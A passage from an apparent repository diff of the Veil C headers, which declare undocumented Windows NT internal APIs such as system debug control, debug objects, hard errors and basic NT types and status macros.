struct IUnknown;
// This header file provides access to Win32, plus NTSTATUS values and some access mask values.
#define WINDOWS_IGNORE_PACKING_MISMATCH
#define UMDF_USING_NTSTATUS
#include <windows.h>
#include <winioctl.h>
#include <ntstatus.h>
#pragma comment(lib, "ntdll.lib")
#if _DEBUG
#define DBG _DEBUG
#endif
#else
//
// Kernel-Mode
//
#include <fltKernel.h>
#include <ntimage.h>
#endif
#define NTDDI_WIN6 0x06000000 // Windows Vista
#define NTDDI_WIN6SP1 0x06000100 // Windows Vista SP1
#define NTDDI_WIN6SP2 0x06000200 // Windows Vista SP2
#define NTDDI_WIN6SP3 0x06000300 // Windows Vista SP3
#define NTDDI_WIN6SP4 0x06000400 // Windows Vista SP4
#define NTDDI_VISTA NTDDI_WIN6
#define NTDDI_VISTASP1 NTDDI_WIN6SP1
#define NTDDI_VISTASP2 NTDDI_WIN6SP2
#define NTDDI_VISTASP3 NTDDI_WIN6SP3
#define NTDDI_VISTASP4 NTDDI_WIN6SP4
#define NTDDI_LONGHORN NTDDI_VISTA // Windows Vista
#define NTDDI_WS08 NTDDI_WIN6SP1 // Windows Server 2008
#define NTDDI_WS08SP2 NTDDI_WIN6SP2 // Windows Server 2008 SP2
#define NTDDI_WS08SP3 NTDDI_WIN6SP3 // Windows Server 2008 SP3
#define NTDDI_WS08SP4 NTDDI_WIN6SP4 // Windows Server 2008 SP4
#define NTDDI_WIN7 0x06010000 // Windows 7
#define NTDDI_WIN8 0x06020000 // Windows 8
#define NTDDI_WINBLUE 0x06030000 // Windows 8.1
#define NTDDI_WINTHRESHOLD 0x0A000000 // Windows 10.0.10240 / 1507 / Threshold 1
#define NTDDI_WIN10 0x0A000000
#define NTDDI_WIN10_TH2 0x0A000001 // Windows 10.0.10586 / 1511 / Threshold 2
#define NTDDI_WIN10_RS1 0x0A000002 // Windows 10.0.14393 / 1607 / Redstone 1
#define NTDDI_WIN10_RS2 0x0A000003 // Windows 10.0.15063 / 1703 / Redstone 2
#define NTDDI_WIN10_RS3 0x0A000004 // Windows 10.0.16299 / 1709 / Redstone 3
#define NTDDI_WIN10_RS4 0x0A000005 // Windows 10.0.17134 / 1803 / Redstone 4
#define NTDDI_WIN10_RS5 0x0A000006 // Windows 10.0.17763 / 1809 / Redstone 5
#define NTDDI_WIN10_19H1 0x0A000007 // Windows 10.0.18362 / 1903 / 19H1
#define NTDDI_WIN10_VB 0x0A000008 // Windows 10.0.19041 / 2004 / Vibranium
#define NTDDI_WIN10_MN 0x0A000009 // Windows 10.0.19042 / 20H2 / Manganese
#define NTDDI_WIN10_FE 0x0A00000A // Windows 10.0.19043 / 21H1 / Ferrum
#define NTDDI_WIN10_CO 0x0A00000B // Windows 10.0.19044 / 21H2 / Cobalt
#define NTDDI_WIN11 NTDDI_WIN10_CO // Windows 10.0.22000 / 21H2 / Cobalt
#include "Veil/Veil.System.Define.h"
#include "Veil/Veil.System.KernelCore.h"
#include "Veil/Veil.System.Loader.h"
#include "Veil/Veil.System.Executive.h"
#include "Veil/Veil.System.MemoryManager.h"
#include "Veil/Veil.System.ObjectManager.h"
#include "Veil/Veil.System.Process.h"
#include "Veil/Veil.System.Debug.h"
#include "Veil/Veil.System.IOManager.h"
#include "Veil/Veil.System.ALPC.h"
#include "Veil/Veil.System.PowerManager.h"
#include "Veil/Veil.System.ConfigurationManager.h"
#include "Veil/Veil.System.Nls.h"
#include "Veil/Veil.System.RuntimeLibrary.h"
#include "Veil/Veil.System.Security.h"
#include "Veil/Veil.System.MinCrypt.h"

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,771 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
#if (_MSC_FULL_VER >= 150030729) && !defined(IMPORT_NATIVE_DBG_BREAK)
#define DbgBreakPoint __debugbreak
#else
__analysis_noreturn
VOID
NTAPI
DbgBreakPoint(
VOID
);
#endif
#ifndef _KERNEL_MODE
NTSYSAPI
VOID
NTAPI
DbgUserBreakPoint(
VOID
);
#endif // !_KERNEL_MODE
#define DBG_STATUS_CONTROL_C 1
#define DBG_STATUS_SYSRQ 2
#define DBG_STATUS_BUGCHECK_FIRST 3
#define DBG_STATUS_BUGCHECK_SECOND 4
#define DBG_STATUS_FATAL 5
#define DBG_STATUS_DEBUG_CONTROL 6
#define DBG_STATUS_WORKER 7
ULONG
__cdecl
DbgPrint(
_In_z_ _Printf_format_string_ PCSTR Format,
...
);
NTSYSAPI
ULONG
__cdecl
DbgPrintEx(
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_z_ _Printf_format_string_ PCSTR Format,
...
);
NTSYSAPI
ULONG
NTAPI
vDbgPrintEx(
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_z_ PCCH Format,
_In_ va_list arglist
);
NTSYSAPI
ULONG
NTAPI
vDbgPrintExWithPrefix(
_In_z_ PCCH Prefix,
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_z_ PCCH Format,
_In_ va_list arglist
);
NTSYSAPI
ULONG
__cdecl
DbgPrintReturnControlC(
_In_z_ _Printf_format_string_ PCSTR Format,
...
);
NTSYSAPI
NTSTATUS
NTAPI
DbgQueryDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level
);
NTSYSAPI
NTSTATUS
NTAPI
DbgSetDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_ BOOLEAN State
);
NTSYSAPI
ULONG
NTAPI
DbgPrompt(
_In_z_ PCCH Prompt,
_Out_writes_bytes_(Length) PCH Response,
_In_ ULONG Length
);
//
// System Debug
//
// private
typedef enum _SYSDBG_COMMAND
{
SysDbgQueryModuleInformation,
SysDbgQueryTraceInformation,
SysDbgSetTracepoint,
SysDbgSetSpecialCall,
SysDbgClearSpecialCalls,
SysDbgQuerySpecialCalls,
SysDbgBreakPoint,
SysDbgQueryVersion,
SysDbgReadVirtual,
SysDbgWriteVirtual,
SysDbgReadPhysical,
SysDbgWritePhysical,
SysDbgReadControlSpace,
SysDbgWriteControlSpace,
SysDbgReadIoSpace,
SysDbgWriteIoSpace,
SysDbgReadMsr,
SysDbgWriteMsr,
SysDbgReadBusData,
SysDbgWriteBusData,
SysDbgCheckLowMemory,
SysDbgEnableKernelDebugger,
SysDbgDisableKernelDebugger,
SysDbgGetAutoKdEnable,
SysDbgSetAutoKdEnable,
SysDbgGetPrintBufferSize,
SysDbgSetPrintBufferSize,
SysDbgGetKdUmExceptionEnable,
SysDbgSetKdUmExceptionEnable,
SysDbgGetTriageDump,
SysDbgGetKdBlockEnable,
SysDbgSetKdBlockEnable,
SysDbgRegisterForUmBreakInfo,
SysDbgGetUmBreakPid,
SysDbgClearUmBreakPid,
SysDbgGetUmAttachPid,
SysDbgClearUmAttachPid,
SysDbgGetLiveKernelDump
} SYSDBG_COMMAND, * PSYSDBG_COMMAND;
typedef struct _SYSDBG_VIRTUAL
{
PVOID Address;
PVOID Buffer;
ULONG Request;
} SYSDBG_VIRTUAL, * PSYSDBG_VIRTUAL;
typedef struct _SYSDBG_PHYSICAL
{
PHYSICAL_ADDRESS Address;
PVOID Buffer;
ULONG Request;
} SYSDBG_PHYSICAL, * PSYSDBG_PHYSICAL;
typedef struct _SYSDBG_CONTROL_SPACE
{
ULONG64 Address;
PVOID Buffer;
ULONG Request;
ULONG Processor;
} SYSDBG_CONTROL_SPACE, * PSYSDBG_CONTROL_SPACE;
typedef struct _SYSDBG_IO_SPACE
{
ULONG64 Address;
PVOID Buffer;
ULONG Request;
enum _INTERFACE_TYPE InterfaceType;
ULONG BusNumber;
ULONG AddressSpace;
} SYSDBG_IO_SPACE, * PSYSDBG_IO_SPACE;
typedef struct _SYSDBG_MSR
{
ULONG Msr;
ULONG64 Data;
} SYSDBG_MSR, * PSYSDBG_MSR;
typedef struct _SYSDBG_BUS_DATA
{
ULONG Address;
PVOID Buffer;
ULONG Request;
enum _BUS_DATA_TYPE BusDataType;
ULONG BusNumber;
ULONG SlotNumber;
} SYSDBG_BUS_DATA, * PSYSDBG_BUS_DATA;
// private
typedef struct _SYSDBG_TRIAGE_DUMP
{
ULONG Flags;
ULONG BugCheckCode;
ULONG_PTR BugCheckParam1;
ULONG_PTR BugCheckParam2;
ULONG_PTR BugCheckParam3;
ULONG_PTR BugCheckParam4;
ULONG ProcessHandles;
ULONG ThreadHandles;
PHANDLE Handles;
} SYSDBG_TRIAGE_DUMP, * PSYSDBG_TRIAGE_DUMP;
// private
typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS
{
struct
{
ULONG UseDumpStorageStack : 1;
ULONG CompressMemoryPagesData : 1;
ULONG IncludeUserSpaceMemoryPages : 1;
ULONG AbortIfMemoryPressure : 1; // REDSTONE4
ULONG Reserved : 28;
};
ULONG AsUlong;
} SYSDBG_LIVEDUMP_CONTROL_FLAGS, * PSYSDBG_LIVEDUMP_CONTROL_FLAGS;
// private
typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES
{
struct
{
ULONG HypervisorPages : 1;
ULONG Reserved : 31;
};
ULONG AsUlong;
} SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, * PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES;
#define SYSDBG_LIVEDUMP_CONTROL_VERSION 1
// private
typedef struct _SYSDBG_LIVEDUMP_CONTROL
{
ULONG Version;
ULONG BugCheckCode;
ULONG_PTR BugCheckParam1;
ULONG_PTR BugCheckParam2;
ULONG_PTR BugCheckParam3;
ULONG_PTR BugCheckParam4;
HANDLE DumpFileHandle;
HANDLE CancelEventHandle;
SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags;
SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl;
} SYSDBG_LIVEDUMP_CONTROL, * PSYSDBG_LIVEDUMP_CONTROL;
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtSystemDebugControl(
_In_ SYSDBG_COMMAND Command,
_Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
_In_ ULONG OutputBufferLength,
_Out_opt_ PULONG ReturnLength
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwSystemDebugControl(
_In_ SYSDBG_COMMAND Command,
_Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,
_In_ ULONG OutputBufferLength,
_Out_opt_ PULONG ReturnLength
);
//
// Hard errors
//
typedef enum _HARDERROR_RESPONSE_OPTION
{
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem,
OptionOkNoWait,
OptionCancelTryContinue
} HARDERROR_RESPONSE_OPTION;
typedef enum _HARDERROR_RESPONSE
{
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes,
ResponseTryAgain,
ResponseContinue
} HARDERROR_RESPONSE;
#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtRaiseHardError(
_In_ NTSTATUS ErrorStatus,
_In_ ULONG NumberOfParameters,
_In_ ULONG UnicodeStringParameterMask,
_In_reads_(NumberOfParameters) PULONG_PTR Parameters,
_In_ ULONG ValidResponseOptions,
_Out_ PULONG Response
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwRaiseHardError(
_In_ NTSTATUS ErrorStatus,
_In_ ULONG NumberOfParameters,
_In_ ULONG UnicodeStringParameterMask,
_In_reads_(NumberOfParameters) PULONG_PTR Parameters,
_In_ ULONG ValidResponseOptions,
_Out_ PULONG Response
);
//
// Exception
//
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtRaiseException(
_In_ PEXCEPTION_RECORD ExceptionRecord,
_In_ PCONTEXT ContextRecord,
_In_ BOOLEAN FirstChance
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwRaiseException(
_In_ PEXCEPTION_RECORD ExceptionRecord,
_In_ PCONTEXT ContextRecord,
_In_ BOOLEAN FirstChance
);
//
// Debug Filter
//
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtQueryDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtSetDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_ BOOLEAN State
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwSetDebugFilterState(
_In_ ULONG ComponentId,
_In_ ULONG Level,
_In_ BOOLEAN State
);
//
// Debug Object
//
typedef struct _DBGKM_EXCEPTION
{
EXCEPTION_RECORD ExceptionRecord;
ULONG FirstChance;
} DBGKM_EXCEPTION, * PDBGKM_EXCEPTION;
typedef struct _DBGKM_CREATE_THREAD
{
ULONG SubSystemKey;
PVOID StartAddress;
} DBGKM_CREATE_THREAD, * PDBGKM_CREATE_THREAD;
typedef struct _DBGKM_CREATE_PROCESS
{
ULONG SubSystemKey;
HANDLE FileHandle;
PVOID BaseOfImage;
ULONG DebugInfoFileOffset;
ULONG DebugInfoSize;
DBGKM_CREATE_THREAD InitialThread;
} DBGKM_CREATE_PROCESS, * PDBGKM_CREATE_PROCESS;
typedef struct _DBGKM_EXIT_THREAD
{
NTSTATUS ExitStatus;
} DBGKM_EXIT_THREAD, * PDBGKM_EXIT_THREAD;
typedef struct _DBGKM_EXIT_PROCESS
{
NTSTATUS ExitStatus;
} DBGKM_EXIT_PROCESS, * PDBGKM_EXIT_PROCESS;
typedef struct _DBGKM_LOAD_DLL
{
HANDLE FileHandle;
PVOID BaseOfDll;
ULONG DebugInfoFileOffset;
ULONG DebugInfoSize;
PVOID NamePointer;
} DBGKM_LOAD_DLL, * PDBGKM_LOAD_DLL;
typedef struct _DBGKM_UNLOAD_DLL
{
PVOID BaseAddress;
} DBGKM_UNLOAD_DLL, * PDBGKM_UNLOAD_DLL;
typedef enum _DBG_STATE
{
DbgIdle,
DbgReplyPending,
DbgCreateThreadStateChange,
DbgCreateProcessStateChange,
DbgExitThreadStateChange,
DbgExitProcessStateChange,
DbgExceptionStateChange,
DbgBreakpointStateChange,
DbgSingleStepStateChange,
DbgLoadDllStateChange,
DbgUnloadDllStateChange
} DBG_STATE, * PDBG_STATE;
typedef struct _DBGUI_CREATE_THREAD
{
HANDLE HandleToThread;
DBGKM_CREATE_THREAD NewThread;
} DBGUI_CREATE_THREAD, * PDBGUI_CREATE_THREAD;
typedef struct _DBGUI_CREATE_PROCESS
{
HANDLE HandleToProcess;
HANDLE HandleToThread;
DBGKM_CREATE_PROCESS NewProcess;
} DBGUI_CREATE_PROCESS, * PDBGUI_CREATE_PROCESS;
typedef struct _DBGUI_WAIT_STATE_CHANGE
{
DBG_STATE NewState;
CLIENT_ID AppClientId;
union
{
DBGKM_EXCEPTION Exception;
DBGUI_CREATE_THREAD CreateThread;
DBGUI_CREATE_PROCESS CreateProcessInfo;
DBGKM_EXIT_THREAD ExitThread;
DBGKM_EXIT_PROCESS ExitProcess;
DBGKM_LOAD_DLL LoadDll;
DBGKM_UNLOAD_DLL UnloadDll;
} StateInfo;
} DBGUI_WAIT_STATE_CHANGE, * PDBGUI_WAIT_STATE_CHANGE;
#define DEBUG_READ_EVENT 0x0001
#define DEBUG_PROCESS_ASSIGN 0x0002
#define DEBUG_SET_INFORMATION 0x0004
#define DEBUG_QUERY_INFORMATION 0x0008
#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | \
DEBUG_READ_EVENT | DEBUG_PROCESS_ASSIGN | DEBUG_SET_INFORMATION | \
DEBUG_QUERY_INFORMATION)
#define DEBUG_KILL_ON_CLOSE 0x1
typedef enum _DEBUGOBJECTINFOCLASS
{
DebugObjectUnusedInformation,
DebugObjectKillProcessOnExitInformation, // s: ULONG
MaxDebugObjectInfoClass
} DEBUGOBJECTINFOCLASS, * PDEBUGOBJECTINFOCLASS;
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateDebugObject(
_Out_ PHANDLE DebugObjectHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG Flags
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwCreateDebugObject(
_Out_ PHANDLE DebugObjectHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ ULONG Flags
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtDebugActiveProcess(
_In_ HANDLE ProcessHandle,
_In_ HANDLE DebugObjectHandle
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwDebugActiveProcess(
_In_ HANDLE ProcessHandle,
_In_ HANDLE DebugObjectHandle
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtDebugContinue(
_In_ HANDLE DebugObjectHandle,
_In_ PCLIENT_ID ClientId,
_In_ NTSTATUS ContinueStatus
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwDebugContinue(
_In_ HANDLE DebugObjectHandle,
_In_ PCLIENT_ID ClientId,
_In_ NTSTATUS ContinueStatus
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtRemoveProcessDebug(
_In_ HANDLE ProcessHandle,
_In_ HANDLE DebugObjectHandle
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwRemoveProcessDebug(
_In_ HANDLE ProcessHandle,
_In_ HANDLE DebugObjectHandle
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtSetInformationDebugObject(
_In_ HANDLE DebugObjectHandle,
_In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,
_In_ PVOID DebugInformation,
_In_ ULONG DebugInformationLength,
_Out_opt_ PULONG ReturnLength
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwSetInformationDebugObject(
_In_ HANDLE DebugObjectHandle,
_In_ DEBUGOBJECTINFOCLASS DebugObjectInformationClass,
_In_ PVOID DebugInformation,
_In_ ULONG DebugInformationLength,
_Out_opt_ PULONG ReturnLength
);
__kernel_entry NTSYSCALLAPI
NTSTATUS
NTAPI
NtWaitForDebugEvent(
_In_ HANDLE DebugObjectHandle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout,
_Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange
);
_IRQL_requires_max_(PASSIVE_LEVEL)
NTSYSAPI
NTSTATUS
NTAPI
ZwWaitForDebugEvent(
_In_ HANDLE DebugObjectHandle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout,
_Out_ PDBGUI_WAIT_STATE_CHANGE WaitStateChange
);
//
// Debugging UI
//
#ifndef _KERNEL_MODE
NTSYSAPI
NTSTATUS
NTAPI
DbgUiConnectToDbg(
VOID
);
NTSYSAPI
HANDLE
NTAPI
DbgUiGetThreadDebugObject(
VOID
);
NTSYSAPI
VOID
NTAPI
DbgUiSetThreadDebugObject(
_In_ HANDLE DebugObject
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiWaitStateChange(
_Out_ PDBGUI_WAIT_STATE_CHANGE StateChange,
_In_opt_ PLARGE_INTEGER Timeout
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiContinue(
_In_ PCLIENT_ID AppClientId,
_In_ NTSTATUS ContinueStatus
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiStopDebugging(
_In_ HANDLE Process
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiDebugActiveProcess(
_In_ HANDLE Process
);
NTSYSAPI
VOID
NTAPI
DbgUiRemoteBreakin(
_In_ PVOID Context
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiIssueRemoteBreakin(
_In_ HANDLE Process
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiConvertStateChangeStructure(
_In_ PDBGUI_WAIT_STATE_CHANGE StateChange,
_Out_ LPDEBUG_EVENT DebugEvent
);
NTSYSAPI
NTSTATUS
NTAPI
DbgUiConvertStateChangeStructureEx(
_In_ PDBGUI_WAIT_STATE_CHANGE StateChange,
_Out_ LPDEBUG_EVENT DebugEvent
);
#endif // !_KERNEL_MODE
VEIL_END()
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

View File

@ -0,0 +1,791 @@
/*
* PROJECT: Veil
* FILE: Veil.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com)
*/
/*
* PROJECT: Mouri's Internal NT API Collections (MINT)
* FILE: MINT.h
* PURPOSE: Definition for the Windows Internal API from ntdll.dll,
* samlib.dll and winsta.dll
*
* LICENSE: Relicensed under The MIT License from The CC BY 4.0 License
*
* DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com)
*/
/*
* This file is part of the Process Hacker project - https://processhacker.sf.io/
*
* You can redistribute this file and/or modify it under the terms of the
* Attribution 4.0 International (CC BY 4.0) license.
*
* You must give appropriate credit, provide a link to the license, and
* indicate if changes were made. You may do so in any reasonable manner, but
* not in any way that suggests the licensor endorses you or your use.
*/
#pragma once
// Warnings which disabled for compiling
#if _MSC_VER >= 1200
#pragma warning(push)
// nonstandard extension used : nameless struct/union
#pragma warning(disable:4201)
// 'struct_name' : structure was padded due to __declspec(align())
#pragma warning(disable:4324)
// 'enumeration': a forward declaration of an unscoped enumeration must have an
// underlying type (int assumed)
#pragma warning(disable:4471)
#endif
VEIL_BEGIN()
//
// These macros are used to test, set and clear flags respectivly
//
#ifndef FlagOn
#define FlagOn(_F,_SF) ((_F) & (_SF))
#endif
#ifndef BooleanFlagOn
#define BooleanFlagOn(F,SF) ((BOOLEAN)(((F) & (SF)) != 0))
#endif
#ifndef SetFlag
#define SetFlag(_F,_SF) ((_F) |= (_SF))
#endif
#ifndef ClearFlag
#define ClearFlag(_F,_SF) ((_F) &= ~(_SF))
#endif
//
// Handy macros for doing pointer arithmetic
//
#ifndef Add2Ptr
#define Add2Ptr(P,I) ((PVOID)((PUCHAR)(P) + (I)))
#endif
#ifndef PtrOffset
#define PtrOffset(B,O) ((ULONG)((ULONG_PTR)(O) - (ULONG_PTR)(B)))
#endif
//
// This macro takes a length & rounds it up to a multiple of the alignment
// Alignment is given as a power of 2
//
#ifndef ROUND_TO_SIZE
#define ROUND_TO_SIZE(_length, _alignment) \
((((ULONG_PTR)(_length)) + ((_alignment)-1)) & ~(ULONG_PTR) ((_alignment) - 1))
#endif
//
// Checks if 1st argument is aligned on given power of 2 boundary specified
// by 2nd argument
//
#ifndef IS_ALIGNED
#define IS_ALIGNED(_pointer, _alignment) \
((((ULONG_PTR) (_pointer)) & ((_alignment) - 1)) == 0)
#endif
#ifndef _KERNEL_MODE
typedef struct _PEB* PPEB; // ntddk.h
typedef LONG KPRIORITY; // wdm.h
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef VOID(NTAPI* PIO_APC_ROUTINE)(
_In_ PVOID ApcContext,
_In_ PIO_STATUS_BLOCK IoStatusBlock,
_In_ ULONG Reserved
);
#else
typedef int BOOL;
#endif // !_KERNEL_MODE
typedef USHORT RTL_ATOM, * PRTL_ATOM;
#ifndef _NTDEF_
#define _NTDEF_
// This header file provides basic NT types not included in Win32. If you have included winnt.h
// (perhaps indirectly), you must use this file instead of ntdef.h.
// Functions
#ifndef _MANAGED
#if defined(_M_IX86)
#define FASTCALL __fastcall
#else
#define FASTCALL
#endif
#else
#define FASTCALL NTAPI
#endif
//
// Cardinal Data Types [0 - 2**N-2)
//
//
// The type QUAD and UQUAD are intended to use when a 8 byte aligned structure
// is required, but it is not a floating point number.
//
typedef double DOUBLE;
typedef struct _QUAD {
union {
__int64 UseThisFieldToCopy;
double DoNotUseThisField;
} DUMMYUNIONNAME;
} QUAD;
typedef QUAD* PQUAD;
typedef QUAD UQUAD;
typedef UQUAD* PUQUAD;
#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS))
//
// Pointer to Const Unsigned Basics
//
typedef CONST UCHAR* PCUCHAR;
typedef CONST USHORT* PCUSHORT;
typedef CONST ULONG* PCULONG;
typedef CONST UQUAD* PCUQUAD;
#endif // _WIN32_WINNT >= 0x0600
//
// Signed characters
//
typedef signed char SCHAR;
typedef SCHAR* PSCHAR;
#if _WIN32_WINNT >= 0x0600 || (defined(__cplusplus) && defined(WINDOWS_ENABLE_CPLUSPLUS))
typedef CONST SCHAR* PCSCHAR;
#endif // _WIN32_WINNT >= 0x0600
typedef GUID* PGUID;
typedef char CCHAR; // winnt
typedef short CSHORT;
typedef ULONG CLONG;
typedef CCHAR* PCCHAR;
typedef CSHORT* PCSHORT;
typedef CLONG* PCLONG;
//
// Logical Data Type - These are 32-bit logical values.
//
typedef ULONG LOGICAL;
typedef ULONG* PLOGICAL;
//
// NTSTATUS
//
typedef _Return_type_success_(return >= 0) LONG NTSTATUS;
/*lint -save -e624 */ // Don't complain about different typedefs.
typedef NTSTATUS* PNTSTATUS;
/*lint -restore */ // Resume checking for different typedefs.
#if _WIN32_WINNT >= 0x0600
typedef CONST NTSTATUS* PCNTSTATUS;
#endif // _WIN32_WINNT >= 0x0600
//
// Status values are 32 bit values laid out as follows:
//
// 3 3 2 2 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 1 1 1
// 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0 9 8 7 6 5 4 3 2 1 0
// +---+-+-------------------------+-------------------------------+
// |Sev|C| Facility | Code |
// +---+-+-------------------------+-------------------------------+
//
// where
//
// Sev - is the severity code
//
// 00 - Success
// 01 - Informational
// 10 - Warning
// 11 - Error
//
// C - is the Customer code flag
//
// Facility - is the facility code
//
// Code - is the facility's status code
//
//
// Generic test for success on any status value (non-negative numbers
// indicate success).
//
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
//
// Generic test for information on any status value.
//
#ifdef _PREFAST_
#define NT_INFORMATION(Status) (((NTSTATUS)(Status)) >= (long)0x40000000)
#else
#define NT_INFORMATION(Status) ((((ULONG)(Status)) >> 30) == 1)
#endif
//
// Generic test for warning on any status value.
//
#ifdef _PREFAST_
#define NT_WARNING(Status) (((NTSTATUS)(Status) < (long)0xc0000000))
#else
#define NT_WARNING(Status) ((((ULONG)(Status)) >> 30) == 2)
#endif
//
// Generic test for error on any status value.
//
#ifdef _PREFAST_
#define NT_ERROR(Status) (((NTSTATUS)(Status)) >= (unsigned long)0xc0000000)
#else
#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3)
#endif
#ifndef __SECSTATUS_DEFINED__
typedef long SECURITY_STATUS;
#define __SECSTATUS_DEFINED__
#endif
//
// Large (64-bit) integer types and operations
//
#define TIME LARGE_INTEGER
#define _TIME _LARGE_INTEGER
#define PTIME PLARGE_INTEGER
#define LowTime LowPart
#define HighTime HighPart
//
// Physical address.
//
typedef LARGE_INTEGER PHYSICAL_ADDRESS, * PPHYSICAL_ADDRESS;
//
// Event type
//
typedef enum _EVENT_TYPE
{
NotificationEvent,
SynchronizationEvent
} EVENT_TYPE;
//
// Timer type
//
typedef enum _TIMER_TYPE
{
NotificationTimer,
SynchronizationTimer
} TIMER_TYPE;
//
// Wait type
//
typedef enum _WAIT_TYPE
{
WaitAll,
WaitAny,
WaitNotification,
WaitDequeue,
WaitDpc
} WAIT_TYPE;
//
